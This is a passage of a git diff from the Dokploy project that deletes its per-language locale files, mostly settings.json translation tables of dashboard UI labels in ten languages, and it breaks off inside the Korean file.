 											</div>
 										</TabsContent>
diff --git a/apps/dokploy/public/locales/az/common.json b/apps/dokploy/public/locales/az/common.json
deleted file mode 100644
index 0967ef424..000000000
--- a/apps/dokploy/public/locales/az/common.json
+++ /dev/null
@@ -1 +0,0 @@
-{}
diff --git a/apps/dokploy/public/locales/az/settings.json b/apps/dokploy/public/locales/az/settings.json
deleted file mode 100644
index fb286bf04..000000000
--- a/apps/dokploy/public/locales/az/settings.json
+++ /dev/null
@@ -1,58 +0,0 @@
-{
-	"settings.common.save": "Yadda saxla",
-	"settings.common.enterTerminal": "Terminala daxil ol",
-	"settings.server.domain.title": "Server Domeni",
-	"settings.server.domain.description": "Server tətbiqinizə domen əlavə edin.",
-	"settings.server.domain.form.domain": "Domen",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt E-poçtu",
-	"settings.server.domain.form.certificate.label": "Sertifikat Təminatçısı",
-	"settings.server.domain.form.certificate.placeholder": "Sertifikat seçin",
-	"settings.server.domain.form.certificateOptions.none": "Heç biri",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
-
-	"settings.server.webServer.title": "Veb Server",
-	"settings.server.webServer.description": "Veb serveri yenidən yüklə və ya təmizlə.",
-	"settings.server.webServer.actions": "Əməliyyatlar",
-	"settings.server.webServer.reload": "Yenidən yüklə",
-	"settings.server.webServer.watchLogs": "Logları izlə",
-	"settings.server.webServer.updateServerIp": "Server IP-ni Yenilə",
-	"settings.server.webServer.server.label": "Server",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Mühiti Dəyişdir",
-	"settings.server.webServer.traefik.managePorts": "Əlavə Port Təyinatları",
-	"settings.server.webServer.traefik.managePortsDescription": "Traefik üçün əlavə portlar əlavə edin və ya silin",
-	"settings.server.webServer.traefik.targetPort": "Hədəf Port",
-	"settings.server.webServer.traefik.publishedPort": "Dərc Edilmiş Port",
-	"settings.server.webServer.traefik.addPort": "Port Əlavə Et",
-	"settings.server.webServer.traefik.portsUpdated": "Portlar uğurla yeniləndi",
-	"settings.server.webServer.traefik.portsUpdateError": "Portların yenilənməsi uğursuz oldu",
-	"settings.server.webServer.traefik.publishMode": "Dərc Rejimi",
-	"settings.server.webServer.storage.label": "Yer",
-	"settings.server.webServer.storage.cleanUnusedImages": "İstifadə edilməyən şəkilləri təmizlə",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "İstifadə edilməyən həcmləri təmizlə",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Dayandırılmış konteynerləri təmizlə",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder və Sistemi təmizlə",
-	"settings.server.webServer.storage.cleanMonitoring": "Monitorinqi təmizlə",
-	"settings.server.webServer.storage.cleanAll": "Hamısını təmizlə",
-
-	"settings.profile.title": "Hesab",
-	"settings.profile.description": "Profilinizin məlumatlarını buradan dəyişin.",
-	"settings.profile.email": "E-poçt",
-	"settings.profile.password": "Şifrə",
-	"settings.profile.avatar": "Avatar",
-
-	"settings.appearance.title": "Görünüş",
-	"settings.appearance.description": "İdarəetmə panelinizin görünüşünü fərdiləşdirin.",
-	"settings.appearance.theme": "Mövzu",
-	"settings.appearance.themeDescription": "İdarəetmə paneliniz üçün mövzu seçin",
-	"settings.appearance.themes.light": "İşıqlı",
-	"settings.appearance.themes.dark": "Qaranlıq",
-	"settings.appearance.themes.system": "Sistem",
-	"settings.appearance.language": "Dil",
-	"settings.appearance.languageDescription": "İdarəetmə paneliniz üçün dil seçin",
-
-	"settings.terminal.connectionSettings": "Bağlantı parametrləri",
-	"settings.terminal.ipAddress": "IP Ünvanı",
-	"settings.terminal.port": "Port",
-	"settings.terminal.username": "İstifadəçi adı"
-}
diff --git a/apps/dokploy/public/locales/de/common.json b/apps/dokploy/public/locales/de/common.json
deleted file mode 100644
index 0967ef424..000000000
--- a/apps/dokploy/public/locales/de/common.json
+++ /dev/null
@@ -1 +0,0 @@
-{}
diff --git a/apps/dokploy/public/locales/de/settings.json b/apps/dokploy/public/locales/de/settings.json
deleted file mode 100644
index e2ba06236..000000000
--- a/apps/dokploy/public/locales/de/settings.json
+++ /dev/null
@@ -1,44 +0,0 @@
-{
-	"settings.common.save": "Speichern",
-	"settings.server.domain.title": "Server-Domain",
-	"settings.server.domain.description": "Füg eine Domain zu deiner Server-Anwendung hinzu.",
-	"settings.server.domain.form.domain": "Domain",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt E-Mail",
-	"settings.server.domain.form.certificate.label": "Zertifikat",
-	"settings.server.domain.form.certificate.placeholder": "Wähl ein Zertifikat aus",
-	"settings.server.domain.form.certificateOptions.none": "Keins",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Standard)",
-
-	"settings.server.webServer.title": "Web-Server",
-	"settings.server.webServer.description": "Lade den Web-Server neu oder reinige ihn.",
-	"settings.server.webServer.actions": "Aktionen",
-	"settings.server.webServer.reload": "Neu laden",
-	"settings.server.webServer.watchLogs": "Logs anschauen",
-	"settings.server.webServer.updateServerIp": "Server-IP Aktualisieren",
-	"settings.server.webServer.server.label": "Server",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Umgebungsvariablen ändern",
-	"settings.server.webServer.storage.label": "Speicherplatz",
-	"settings.server.webServer.storage.cleanUnusedImages": "Nicht genutzte Bilder löschen",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Nicht genutzte Volumes löschen",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Gestoppte Container löschen",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder & System bereinigen",
-	"settings.server.webServer.storage.cleanMonitoring": "Monitoring bereinigen",
-	"settings.server.webServer.storage.cleanAll": "Alles bereinigen",
-
-	"settings.profile.title": "Konto",
-	"settings.profile.description": "Ändere die Details deines Profiles hier.",
-	"settings.profile.email": "E-Mail",
-	"settings.profile.password": "Passwort",
-	"settings.profile.avatar": "Avatar",
-
-	"settings.appearance.title": "Aussehen",
-	"settings.appearance.description": "Pass das Design deines Dashboards an.",
-	"settings.appearance.theme": "Theme",
-	"settings.appearance.themeDescription": "Wähl ein Theme für dein Dashboard aus",
-	"settings.appearance.themes.light": "Hell",
-	"settings.appearance.themes.dark": "Dunkel",
-	"settings.appearance.themes.system": "System",
-	"settings.appearance.language": "Sprache",
-	"settings.appearance.languageDescription": "Wähl eine Sprache für dein Dashboard aus"
-}
diff --git a/apps/dokploy/public/locales/en/common.json b/apps/dokploy/public/locales/en/common.json
deleted file mode 100644
index 0967ef424..000000000
--- a/apps/dokploy/public/locales/en/common.json
+++ /dev/null
@@ -1 +0,0 @@
-{}
diff --git a/apps/dokploy/public/locales/en/settings.json b/apps/dokploy/public/locales/en/settings.json
deleted file mode 100644
index 699a456e7..000000000
--- a/apps/dokploy/public/locales/en/settings.json
+++ /dev/null
@@ -1,58 +0,0 @@
-{
-	"settings.common.save": "Save",
-	"settings.common.enterTerminal": "Terminal",
-	"settings.server.domain.title": "Server Domain",
-	"settings.server.domain.description": "Add a domain to your server application.",
-	"settings.server.domain.form.domain": "Domain",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt Email",
-	"settings.server.domain.form.certificate.label": "Certificate Provider",
-	"settings.server.domain.form.certificate.placeholder": "Select a certificate",
-	"settings.server.domain.form.certificateOptions.none": "None",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
-
-	"settings.server.webServer.title": "Web Server",
-	"settings.server.webServer.description": "Reload or clean the web server.",
-	"settings.server.webServer.actions": "Actions",
-	"settings.server.webServer.reload": "Reload",
-	"settings.server.webServer.watchLogs": "View Logs",
-	"settings.server.webServer.updateServerIp": "Update Server IP",
-	"settings.server.webServer.server.label": "Server",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Modify Environment",
-	"settings.server.webServer.traefik.managePorts": "Additional Port Mappings",
-	"settings.server.webServer.traefik.managePortsDescription": "Add or remove additional ports for Traefik",
-	"settings.server.webServer.traefik.targetPort": "Target Port",
-	"settings.server.webServer.traefik.publishedPort": "Published Port",
-	"settings.server.webServer.traefik.addPort": "Add Port",
-	"settings.server.webServer.traefik.portsUpdated": "Ports updated successfully",
-	"settings.server.webServer.traefik.portsUpdateError": "Failed to update ports",
-	"settings.server.webServer.traefik.publishMode": "Publish Mode",
-	"settings.server.webServer.storage.label": "Space",
-	"settings.server.webServer.storage.cleanUnusedImages": "Clean unused images",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Clean unused volumes",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Clean stopped containers",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Clean Docker Builder & System",
-	"settings.server.webServer.storage.cleanMonitoring": "Clean Monitoring",
-	"settings.server.webServer.storage.cleanAll": "Clean all",
-
-	"settings.profile.title": "Account",
-	"settings.profile.description": "Change the details of your profile here.",
-	"settings.profile.email": "Email",
-	"settings.profile.password": "Password",
-	"settings.profile.avatar": "Avatar",
-
-	"settings.appearance.title": "Appearance",
-	"settings.appearance.description": "Customize the theme of your dashboard.",
-	"settings.appearance.theme": "Theme",
-	"settings.appearance.themeDescription": "Select a theme for your dashboard",
-	"settings.appearance.themes.light": "Light",
-	"settings.appearance.themes.dark": "Dark",
-	"settings.appearance.themes.system": "System",
-	"settings.appearance.language": "Language",
-	"settings.appearance.languageDescription": "Select a language for your dashboard",
-
-	"settings.terminal.connectionSettings": "Connection settings",
-	"settings.terminal.ipAddress": "IP Address",
-	"settings.terminal.port": "Port",
-	"settings.terminal.username": "Username"
-}
diff --git a/apps/dokploy/public/locales/es/common.json b/apps/dokploy/public/locales/es/common.json
deleted file mode 100644
index 0967ef424..000000000
--- a/apps/dokploy/public/locales/es/common.json
+++ /dev/null
@@ -1 +0,0 @@
-{}
diff --git a/apps/dokploy/public/locales/es/settings.json b/apps/dokploy/public/locales/es/settings.json
deleted file mode 100644
index 90a41cd05..000000000
--- a/apps/dokploy/public/locales/es/settings.json
+++ /dev/null
@@ -1,52 +0,0 @@
-{
-	"settings.common.save": "Guardar",
-	"settings.server.domain.title": "Dominio del Servidor",
-	"settings.server.domain.description": "Añade un dominio a tu aplicación de servidor.",
-	"settings.server.domain.form.domain": "Dominio",
-	"settings.server.domain.form.letsEncryptEmail": "Correo de Let's Encrypt",
-	"settings.server.domain.form.certificate.label": "Proveedor de Certificado",
-	"settings.server.domain.form.certificate.placeholder": "Selecciona un certificado",
-	"settings.server.domain.form.certificateOptions.none": "Ninguno",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
-
-	"settings.server.webServer.title": "Servidor Web",
-	"settings.server.webServer.description": "Recarga o limpia el servidor web.",
-	"settings.server.webServer.actions": "Acciones",
-	"settings.server.webServer.reload": "Recargar",
-	"settings.server.webServer.watchLogs": "Ver registros",
-	"settings.server.webServer.updateServerIp": "Actualizar IP del Servidor",
-	"settings.server.webServer.server.label": "Servidor",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Modificar Entorno",
-	"settings.server.webServer.traefik.managePorts": "Asignación Adicional de Puertos",
-	"settings.server.webServer.traefik.managePortsDescription": "Añadir o eliminar puertos adicionales para Traefik",
-	"settings.server.webServer.traefik.targetPort": "Puerto de Destino",
-	"settings.server.webServer.traefik.publishedPort": "Puerto Publicado",
-	"settings.server.webServer.traefik.addPort": "Añadir Puerto",
-	"settings.server.webServer.traefik.portsUpdated": "Puertos actualizados correctamente",
-	"settings.server.webServer.traefik.portsUpdateError": "Error al actualizar los puertos",
-	"settings.server.webServer.traefik.publishMode": "Modo de Publicación",
-	"settings.server.webServer.storage.label": "Espacio",
-	"settings.server.webServer.storage.cleanUnusedImages": "Limpiar imágenes no utilizadas",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Limpiar volúmenes no utilizados",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Limpiar contenedores detenidos",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Limpiar Constructor de Docker y Sistema",
-	"settings.server.webServer.storage.cleanMonitoring": "Limpiar Monitoreo",
-	"settings.server.webServer.storage.cleanAll": "Limpiar todo",
-
-	"settings.profile.title": "Cuenta",
-	"settings.profile.description": "Cambia los detalles de tu perfil aquí.",
-	"settings.profile.email": "Correo electrónico",
-	"settings.profile.password": "Contraseña",
-	"settings.profile.avatar": "Avatar",
-
-	"settings.appearance.title": "Apariencia",
-	"settings.appearance.description": "Personaliza el tema de tu panel.",
-	"settings.appearance.theme": "Tema",
-	"settings.appearance.themeDescription": "Selecciona un tema para tu panel",
-	"settings.appearance.themes.light": "Claro",
-	"settings.appearance.themes.dark": "Oscuro",
-	"settings.appearance.themes.system": "Sistema",
-	"settings.appearance.language": "Idioma",
-	"settings.appearance.languageDescription": "Selecciona un idioma para tu panel"
-}
diff --git a/apps/dokploy/public/locales/fa/common.json b/apps/dokploy/public/locales/fa/common.json
deleted file mode 100644
index 0967ef424..000000000
--- a/apps/dokploy/public/locales/fa/common.json
+++ /dev/null
@@ -1 +0,0 @@
-{}
diff --git a/apps/dokploy/public/locales/fa/settings.json b/apps/dokploy/public/locales/fa/settings.json
deleted file mode 100644
index f28aaa27c..000000000
--- a/apps/dokploy/public/locales/fa/settings.json
+++ /dev/null
@@ -1,44 +0,0 @@
-{
-	"settings.common.save": "ذخیره",
-	"settings.server.domain.title": "دامنه سرور",
-	"settings.server.domain.description": "یک دامنه به برنامه سرور خود اضافه کنید.",
-	"settings.server.domain.form.domain": "دامنه",
-	"settings.server.domain.form.letsEncryptEmail": "ایمیل Let's Encrypt",
-	"settings.server.domain.form.certificate.label": "گواهینامه",
-	"settings.server.domain.form.certificate.placeholder": "یک گواهینامه انتخاب کنید",
-	"settings.server.domain.form.certificateOptions.none": "هیچکدام",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (پیش‌فرض)",
-
-	"settings.server.webServer.title": "وب سرور",
-	"settings.server.webServer.description": "وب سرور را بازنشانی یا پاک کنید.",
-	"settings.server.webServer.actions": "اقدامات",
-	"settings.server.webServer.reload": "بارگذاری مجدد",
-	"settings.server.webServer.watchLogs": "مشاهده گزارش‌ها",
-	"settings.server.webServer.updateServerIp": "به‌روزرسانی آی‌پی سرور",
-	"settings.server.webServer.server.label": "سرور",
-	"settings.server.webServer.traefik.label": "ترافیک",
-	"settings.server.webServer.traefik.modifyEnv": "ویرایش محیط",
-	"settings.server.webServer.storage.label": "فضا",
-	"settings.server.webServer.storage.cleanUnusedImages": "پاکسازی Image های بدون استفاده",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "پاک‌سازی ولوم‌های بدون استفاده",
-	"settings.server.webServer.storage.cleanStoppedContainers": "پاک‌سازی کانتینرهای متوقف‌شده",
-	"settings.server.webServer.storage.cleanDockerBuilder": "پاک‌سازی بیلدر و سیستم داکر",
-	"settings.server.webServer.storage.cleanMonitoring": "پاک‌سازی پایش",
-	"settings.server.webServer.storage.cleanAll": "پاک‌سازی همه",
-
-	"settings.profile.title": "حساب کاربری",
-	"settings.profile.description": "جزئیات پروفایل خود را در اینجا تغییر دهید.",
-	"settings.profile.email": "ایمیل",
-	"settings.profile.password": "رمز عبور",
-	"settings.profile.avatar": "تصویر پروفایل",
-
-	"settings.appearance.title": "ظاهر",
-	"settings.appearance.description": "تم داشبورد خود را سفارشی کنید.",
-	"settings.appearance.theme": "تم",
-	"settings.appearance.themeDescription": "یک تم برای داشبورد خود انتخاب کنید",
-	"settings.appearance.themes.light": "روشن",
-	"settings.appearance.themes.dark": "تاریک",
-	"settings.appearance.themes.system": "سیستم",
-	"settings.appearance.language": "زبان",
-	"settings.appearance.languageDescription": "یک زبان برای داشبورد خود انتخاب کنید"
-}
diff --git a/apps/dokploy/public/locales/fr/common.json b/apps/dokploy/public/locales/fr/common.json
deleted file mode 100644
index 0967ef424..000000000
--- a/apps/dokploy/public/locales/fr/common.json
+++ /dev/null
@@ -1 +0,0 @@
-{}
diff --git a/apps/dokploy/public/locales/fr/settings.json b/apps/dokploy/public/locales/fr/settings.json
deleted file mode 100644
index 8901cf1fc..000000000
--- a/apps/dokploy/public/locales/fr/settings.json
+++ /dev/null
@@ -1,44 +0,0 @@
-{
-	"settings.common.save": "Sauvegarder",
-	"settings.server.domain.title": "Nom de domaine du serveur",
-	"settings.server.domain.description": "Ajouter un nom de domaine au serveur de votre application.",
-	"settings.server.domain.form.domain": "Domaine",
-	"settings.server.domain.form.letsEncryptEmail": "Adresse email Let's Encrypt",
-	"settings.server.domain.form.certificate.label": "Certificat",
-	"settings.server.domain.form.certificate.placeholder": "Choisir un certificat",
-	"settings.server.domain.form.certificateOptions.none": "Aucun",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Par défaut)",
-
-	"settings.server.webServer.title": "Serveur web",
-	"settings.server.webServer.description": "Recharger ou nettoyer le serveur web.",
-	"settings.server.webServer.actions": "Actions",
-	"settings.server.webServer.reload": "Recharger",
-	"settings.server.webServer.watchLogs": "Consulter les logs",
-	"settings.server.webServer.updateServerIp": "Mettre à jour l'IP du serveur",
-	"settings.server.webServer.server.label": "Serveur",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Modifier les variables d'environnement",
-	"settings.server.webServer.storage.label": "Stockage",
-	"settings.server.webServer.storage.cleanUnusedImages": "Supprimer les images inutilisées",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Supprimer les volumes inutilisés",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Supprimer les conteneurs arrêtés",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Nettoyer le Docker Builder & System",
-	"settings.server.webServer.storage.cleanMonitoring": "Nettoyer le monitoring",
-	"settings.server.webServer.storage.cleanAll": "Tout nettoyer",
-
-	"settings.profile.title": "Compte",
-	"settings.profile.description": "Modifier les informations de votre compte ici.",
-	"settings.profile.email": "Adresse Email",
-	"settings.profile.password": "Mot de passe",
-	"settings.profile.avatar": "Photo de profil",
-
-	"settings.appearance.title": "Apparence",
-	"settings.appearance.description": "Customiser le thème de votre dashboard.",
-	"settings.appearance.theme": "Thème",
-	"settings.appearance.themeDescription": "Choisir un thème pour votre dashboard",
-	"settings.appearance.themes.light": "Clair",
-	"settings.appearance.themes.dark": "Sombre",
-	"settings.appearance.themes.system": "Système",
-	"settings.appearance.language": "Langue",
-	"settings.appearance.languageDescription": "Sélectionner une langue pour votre dashboard"
-}
diff --git a/apps/dokploy/public/locales/id/common.json b/apps/dokploy/public/locales/id/common.json
deleted file mode 100644
index 0967ef424..000000000
--- a/apps/dokploy/public/locales/id/common.json
+++ /dev/null
@@ -1 +0,0 @@
-{}
diff --git a/apps/dokploy/public/locales/id/settings.json b/apps/dokploy/public/locales/id/settings.json
deleted file mode 100644
index 489ddc015..000000000
--- a/apps/dokploy/public/locales/id/settings.json
+++ /dev/null
@@ -1,58 +0,0 @@
-{
-	"settings.common.save": "Simpan",
-	"settings.common.enterTerminal": "Buka Terminal",
-	"settings.server.domain.title": "Domain Server",
-	"settings.server.domain.description": "Tambahkan domain ke aplikasi server anda.",
-	"settings.server.domain.form.domain": "Domain",
-	"settings.server.domain.form.letsEncryptEmail": "Email Let's Encrypt",
-	"settings.server.domain.form.certificate.label": "Penyedia Sertifikat",
-	"settings.server.domain.form.certificate.placeholder": "Pilih sertifikat",
-	"settings.server.domain.form.certificateOptions.none": "Tidak ada",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
-
-	"settings.server.webServer.title": "Server Web",
-	"settings.server.webServer.description": "Muat ulang atau bersihkan server web.",
-	"settings.server.webServer.actions": "Opsi",
-	"settings.server.webServer.reload": "Muat ulang",
-	"settings.server.webServer.watchLogs": "Lihat log",
-	"settings.server.webServer.updateServerIp": "Perbarui IP Server",
-	"settings.server.webServer.server.label": "Server",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Ubah Environment",
-	"settings.server.webServer.traefik.managePorts": "Pengaturan Port Tambahan",
-	"settings.server.webServer.traefik.managePortsDescription": "Tambahkan atau hapus port tambahan untuk Traefik",
-	"settings.server.webServer.traefik.targetPort": "Port Tujuan",
-	"settings.server.webServer.traefik.publishedPort": "Port saai ini",
-	"settings.server.webServer.traefik.addPort": "Tambah Port",
-	"settings.server.webServer.traefik.portsUpdated": "Port berhasil diperbarui",
-	"settings.server.webServer.traefik.portsUpdateError": "Gagal memperbarui Port",
-	"settings.server.webServer.traefik.publishMode": "Pilihan mode Port",
-	"settings.server.webServer.storage.label": "Penyimpanan",
-	"settings.server.webServer.storage.cleanUnusedImages": "Hapus Image tidak terpakai",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Hapus Volume tidak terpakai",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Hapus Container tidak aktif",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Bersihkan Docker Builder & System",
-	"settings.server.webServer.storage.cleanMonitoring": "Bersihkan Monitoring",
-	"settings.server.webServer.storage.cleanAll": "Bersihkan",
-
-	"settings.profile.title": "Akun",
-	"settings.profile.description": "Ubah detail profil Anda di sini.",
-	"settings.profile.email": "Email",
-	"settings.profile.password": "Kata Sandi",
-	"settings.profile.avatar": "Avatar",
-
-	"settings.appearance.title": "Tampilan",
-	"settings.appearance.description": "Sesuaikan tema dasbor Anda.",
-	"settings.appearance.theme": "Tema",
-	"settings.appearance.themeDescription": "Pilih tema untuk dasbor Anda",
-	"settings.appearance.themes.light": "Terang",
-	"settings.appearance.themes.dark": "Gelap",
-	"settings.appearance.themes.system": "Sistem",
-	"settings.appearance.language": "Bahasa",
-	"settings.appearance.languageDescription": "Pilih bahasa untuk dasbor Anda",
-
-	"settings.terminal.connectionSettings": "Pengaturan koneksi",
-	"settings.terminal.ipAddress": "Alamat IP",
-	"settings.terminal.port": "Port",
-	"settings.terminal.username": "Username"
-}
diff --git a/apps/dokploy/public/locales/it/common.json b/apps/dokploy/public/locales/it/common.json
deleted file mode 100644
index 0967ef424..000000000
--- a/apps/dokploy/public/locales/it/common.json
+++ /dev/null
@@ -1 +0,0 @@
-{}
diff --git a/apps/dokploy/public/locales/it/settings.json b/apps/dokploy/public/locales/it/settings.json
deleted file mode 100644
index 6280e44eb..000000000
--- a/apps/dokploy/public/locales/it/settings.json
+++ /dev/null
@@ -1,44 +0,0 @@
-{
-	"settings.common.save": "Salva",
-	"settings.server.domain.title": "Dominio del server",
-	"settings.server.domain.description": "Aggiungi un dominio alla tua applicazione server.",
-	"settings.server.domain.form.domain": "Dominio",
-	"settings.server.domain.form.letsEncryptEmail": "Email di Let's Encrypt",
-	"settings.server.domain.form.certificate.label": "Certificato",
-	"settings.server.domain.form.certificate.placeholder": "Seleziona un certificato",
-	"settings.server.domain.form.certificateOptions.none": "Nessuno",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Predefinito)",
-
-	"settings.server.webServer.title": "Server Web",
-	"settings.server.webServer.description": "Ricarica o pulisci il server web.",
-	"settings.server.webServer.actions": "Azioni",
-	"settings.server.webServer.reload": "Ricarica",
-	"settings.server.webServer.watchLogs": "Guarda i log",
-	"settings.server.webServer.updateServerIp": "Aggiorna IP del server",
-	"settings.server.webServer.server.label": "Server",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Modifica Env",
-	"settings.server.webServer.storage.label": "Spazio",
-	"settings.server.webServer.storage.cleanUnusedImages": "Pulisci immagini inutilizzate",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Pulisci volumi inutilizzati",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Pulisci container fermati",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Pulisci Docker Builder e sistema",
-	"settings.server.webServer.storage.cleanMonitoring": "Pulisci monitoraggio",
-	"settings.server.webServer.storage.cleanAll": "Pulisci tutto",
-
-	"settings.profile.title": "Account",
-	"settings.profile.description": "Modifica i dettagli del tuo profilo qui.",
-	"settings.profile.email": "Email",
-	"settings.profile.password": "Password",
-	"settings.profile.avatar": "Avatar",
-
-	"settings.appearance.title": "Aspetto",
-	"settings.appearance.description": "Personalizza il tema della tua dashboard.",
-	"settings.appearance.theme": "Tema",
-	"settings.appearance.themeDescription": "Seleziona un tema per la tua dashboard",
-	"settings.appearance.themes.light": "Chiaro",
-	"settings.appearance.themes.dark": "Scuro",
-	"settings.appearance.themes.system": "Sistema",
-	"settings.appearance.language": "Lingua",
-	"settings.appearance.languageDescription": "Seleziona una lingua per la tua dashboard"
-}
diff --git a/apps/dokploy/public/locales/ja/common.json b/apps/dokploy/public/locales/ja/common.json
deleted file mode 100644
index 0967ef424..000000000
--- a/apps/dokploy/public/locales/ja/common.json
+++ /dev/null
@@ -1 +0,0 @@
-{}
diff --git a/apps/dokploy/public/locales/ja/settings.json b/apps/dokploy/public/locales/ja/settings.json
deleted file mode 100644
index 757586b73..000000000
--- a/apps/dokploy/public/locales/ja/settings.json
+++ /dev/null
@@ -1,44 +0,0 @@
-{
-	"settings.common.save": "保存",
-	"settings.server.domain.title": "サーバードメイン",
-	"settings.server.domain.description": "サーバーアプリケーションにドメインを追加",
-	"settings.server.domain.form.domain": "ドメイン",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt メールアドレス",
-	"settings.server.domain.form.certificate.label": "証明書",
-	"settings.server.domain.form.certificate.placeholder": "証明書を選択",
-	"settings.server.domain.form.certificateOptions.none": "なし",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (デフォルト)",
-
-	"settings.server.webServer.title": "ウェブサーバー",
-	"settings.server.webServer.description": "ウェブサーバーをリロードまたはクリーンアップします",
-	"settings.server.webServer.actions": "アクション",
-	"settings.server.webServer.reload": "リロード",
-	"settings.server.webServer.watchLogs": "ログを監視",
-	"settings.server.webServer.updateServerIp": "サーバーIPを更新",
-	"settings.server.webServer.server.label": "サーバー",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "環境設定を変更",
-	"settings.server.webServer.storage.label": "ストレージ",
-	"settings.server.webServer.storage.cleanUnusedImages": "未使用のイメージを削除",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "未使用のボリュームを削除",
-	"settings.server.webServer.storage.cleanStoppedContainers": "停止中のコンテナを削除",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Docker ビルダー＆システムをクリーンアップ",
-	"settings.server.webServer.storage.cleanMonitoring": "モニタリングをクリーンアップ",
-	"settings.server.webServer.storage.cleanAll": "すべてをクリーンアップ",
-
-	"settings.profile.title": "アカウント",
-	"settings.profile.description": "ここでプロフィールの詳細を変更できます",
-	"settings.profile.email": "メールアドレス",
-	"settings.profile.password": "パスワード",
-	"settings.profile.avatar": "アバター",
-
-	"settings.appearance.title": "外観",
-	"settings.appearance.description": "ダッシュボードのテーマをカスタマイズ",
-	"settings.appearance.theme": "テーマ",
-	"settings.appearance.themeDescription": "ダッシュボードのテーマを選択してください",
-	"settings.appearance.themes.light": "ライト",
-	"settings.appearance.themes.dark": "ダーク",
-	"settings.appearance.themes.system": "システム",
-	"settings.appearance.language": "言語",
-	"settings.appearance.languageDescription": "ダッシュボードの言語を選択してください"
-}
diff --git a/apps/dokploy/public/locales/ko/common.json b/apps/dokploy/public/locales/ko/common.json
deleted file mode 100644
index 0967ef424..000000000
--- a/apps/dokploy/public/locales/ko/common.json
+++ /dev/null
@@ -1 +0,0 @@
-{}
diff --git a/apps/dokploy/public/locales/ko/settings.json b/apps/dokploy/public/locales/ko/settings.json
deleted file mode 100644
index db877ee6a..000000000
--- a/apps/dokploy/public/locales/ko/settings.json
+++ /dev/null
@@ -1,44 +0,0 @@
-{
-	"settings.common.save": "저장",
-	"settings.server.domain.title": "서버 도메인",
-	"settings.server.domain.description": "서버 애플리케이션에 도메인을 추가합니다.",
-	"settings.server.domain.form.domain": "도메인",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt 이메일",
-	"settings.server.domain.form.certificate.label": "인증서",
-	"settings.server.domain.form.certificate.placeholder": "인증서 선택",
-	"settings.server.domain.form.certificateOptions.none": "없음",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (기본)",
-
-	"settings.server.webServer.title": "웹 서버",
-	"settings.server.webServer.description": "웹 서버를 재시작하거나 정리합니다.",
-	"settings.server.webServer.actions": "작업",
-	"settings.server.webServer.reload": "재시작",
-	"settings.server.webServer.watchLogs": "로그 보기",
-	"settings.server.webServer.updateServerIp": "서버 IP 갱신",
-	"settings.server.webServer.server.label": "서버",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "환경 변수 수정",
-	"settings.server.webServer.storage.label": "저장 공간",
-	"settings.server.webServer.storage.cleanUnusedImages": "사용하지 않는 이미지 정리",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "사용하지 않는 볼륨 정리",
-	"settings.server.webServer.storage.cleanStoppedContainers": "정지된 컨테이너 정리",
-	"settings.server.webServer.storage.cleanDockerBuilder": "도커 빌더 & 시스템 정리",
-	"settings.server.webServer.storage.cleanMonitoring": "모니터링 데이터 정리",
-	"settings.server.webServer.storage.cleanAll": "전체 정리",
-
-	"settings.profile.title": "계정",
-	"settings.profile.description": "여기에서 프로필 세부 정보를 변경하세요.",
-	"settings.profile.email": "이메일",
-	"settings.profile.password": "비밀번호",
-	"settings.profile.avatar": "아바타",
-
-	"settings.appearance.title": "외관",
-	"settings.appearance.description": "대시보드의 테마를 사용자 설정합니다.",
-	"settings.appearance.theme": "테마",
